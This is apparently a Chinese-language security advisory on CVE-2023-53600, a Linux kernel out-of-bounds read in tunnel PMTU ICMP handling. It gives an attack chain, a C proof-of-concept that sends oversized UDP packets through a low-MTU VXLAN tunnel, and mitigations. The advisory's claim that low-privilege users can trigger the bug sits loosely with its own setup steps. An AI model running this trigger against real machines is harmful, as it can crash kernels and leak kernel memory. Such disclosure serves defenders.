IPBUF安全漏洞报告
English
CVE-2023-53600 CVSS 7.1 高危

CVE-2023-53600 Linux内核隧道IPv4 PMTU错误处理越界读取漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53600
漏洞类型
越界读取(Out-of-Bounds Read)
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel越界读取KASANVXLAN隧道协议PMTUICMP内核漏洞本地提权拒绝服务

漏洞概述

CVE-2023-53600是Linux内核隧道子系统中的一个高危安全漏洞,CVSS评分为7.1。该漏洞存在于处理IPv4路径MTU发现(PMTU)错误响应的代码路径中,具体位于iptunnel_pmtud_build_icmp函数中。当系统尝试为非线性(nonlinear)套接字缓冲区(skb)生成ICMP错误消息时,会调用ip_compute_csum函数计算校验和,但由于该函数无法正确处理非线性skb数据结构,导致触发KASAN(Kernel Address Sanitizer)检测到的slab-out-of-bounds越界读取错误。

该漏洞的影响范围涵盖Linux内核的隧道功能模块,包括VXLAN等主流隧道协议。在实际触发场景中,使用iperf3等网络性能测试工具进行高吞吐量数据传输时,VXLAN封装路径会调用skb_tunnel_check_pmtu函数检查PMTU,当数据包超过MTU限制时尝试发送ICMP错误响应,此时就会触发该漏洞。漏洞可能导致内核崩溃(kernel panic)、系统不稳定,以及潜在的敏感内核内存信息泄露。由于该漏洞需要本地低权限访问即可触发,对多用户系统和共享环境构成较大威胁。

该漏洞已于2025年10月4日披露,修复补丁已合并到多个Linux内核稳定版本分支中。

技术细节

从技术层面分析,该漏洞的根本原因在于ip_compute_csum函数的设计假设与非线性skb的数据布局不兼容。在Linux内核网络栈中,skb(socket buffer)可以以两种形式存在:线性(linear)和非线性(nonlinear)。线性skb的数据存储在连续的内存区域中,可以直接通过指针偏移访问;而非线性skb的数据分散存储在多个页片段(page fragments)中,需要通过skb_frag_address等辅助函数来访问。

ip_compute_csum函数直接对skb的数据指针进行操作,假设数据是线性布局的。当传入非线性skb时,函数会错误地读取页片段边界之外的内存,从而触发KASAN的越界读取检测。具体的调用链为:vxlan_xmit_one → skb_tunnel_check_pmtu → iptunnel_pmtud_build_icmp → ip_compute_csum。

漏洞的触发条件包括:1)系统使用VXLAN或其他隧道协议;2)通过隧道传输的数据包超过MTU限制;3)内核尝试生成ICMP PMTU错误响应。修复方案是在调用ip_compute_csum之前检查skb是否为线性布局,或者使用skb_checksum等能够正确处理非线性skb的替代函数。该漏洞的利用需要本地访问权限(AV:L),低权限用户即可触发(PR:L),无需用户交互(UI:N),攻击成功后可导致高机密性影响(C:H)和高可用性影响(A:H),但不影响完整性(I:N)。

攻击链分析

STEP 1
步骤1:环境准备
攻击者在具有本地访问权限的Linux系统上配置VXLAN隧道接口,并设置较小的MTU值(如100字节),为触发PMTU错误处理路径做准备。
STEP 2
步骤2:构造恶意流量
攻击者通过隧道接口发送超过MTU限制的大型数据包,使内核在转发过程中需要对数据包进行分片或生成ICMP PMTU错误响应。
STEP 3
步骤3:触发非线性skb处理
当大型数据包被分片或封装到隧道中时,内核会创建非线性skb。当检测到PMTU超限时,调用iptunnel_pmtud_build_icmp函数生成ICMP错误消息。
STEP 4
步骤4:触发越界读取
iptunnel_pmtud_build_icmp调用ip_compute_csum计算校验和,该函数无法正确处理非线性skb,导致读取超出分配内存边界的数据,触发KASAN检测到的slab-out-of-bounds错误。
STEP 5
步骤5:影响系统稳定性
越界读取可能导致内核崩溃、系统不稳定,或泄露相邻内存区域的敏感信息(如内核地址、密钥等),造成机密性泄露和可用性丧失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53600 - Linux Kernel Tunnel PMTU OOB Read PoC * This PoC demonstrates triggering the KASAN out-of-bounds read * by sending large packets through a VXLAN tunnel that exceed MTU. * * Requirements: * - Linux kernel < 6.5-rc4 (vulnerable version) * - VXLAN interface configured * - KASAN enabled kernel (for detection) * * Setup VXLAN tunnel: * ip link add vxlan100 type vxlan id 100 dev eth0 remote <remote_ip> * ip addr add 192.168.100.1/24 dev vxlan100 * ip link set vxlan100 up * * Set small MTU to trigger PMTU error: * ip link set vxlan100 mtu 100 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define BUFFER_SIZE 65535 #define VXLAN_MTU 100 int main(int argc, char *argv[]) { int sockfd; struct sockaddr_in dest_addr; char *buffer; int ret; /* Create UDP socket for sending data through tunnel */ sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) { perror("socket creation failed"); return 1; } /* Allocate large buffer to exceed VXLAN MTU */ buffer = malloc(BUFFER_SIZE); if (!buffer) { perror("malloc failed"); close(sockfd); return 1; } memset(buffer, 'A', BUFFER_SIZE); /* Configure destination address through VXLAN tunnel */ memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(5201); /* iperf3 port */ inet_pton(AF_INET, "192.168.100.2", &dest_addr.sin_addr); /* Send large packets to trigger PMTU error generation */ /* This will cause the kernel to attempt building an ICMP * PMTU error for the nonlinear skb, triggering the OOB read */ for (int i = 0; i < 100; i++) { ret = sendto(sockfd, buffer, BUFFER_SIZE, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); if (ret < 0) { perror("sendto failed"); break; } } printf("PoC execution completed. Check dmesg for KASAN report.\n"); free(buffer); close(sockfd); return 0; }

影响范围

Linux Kernel < 6.5-rc4
Linux Kernel 6.5.0-rc3及之前版本

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)限制普通用户对VXLAN等隧道接口的配置权限,仅允许特权用户创建和管理隧道;2)在系统防火墙规则中限制通过隧道接口的大数据包传输,避免触发PMTU错误处理路径;3)监控系统日志,及时发现和处理KASAN告警;4)考虑在内核启动参数中添加相关缓解选项,减少非线性skb的使用场景;5)对于关键业务系统,建议尽快安排内核升级窗口,应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表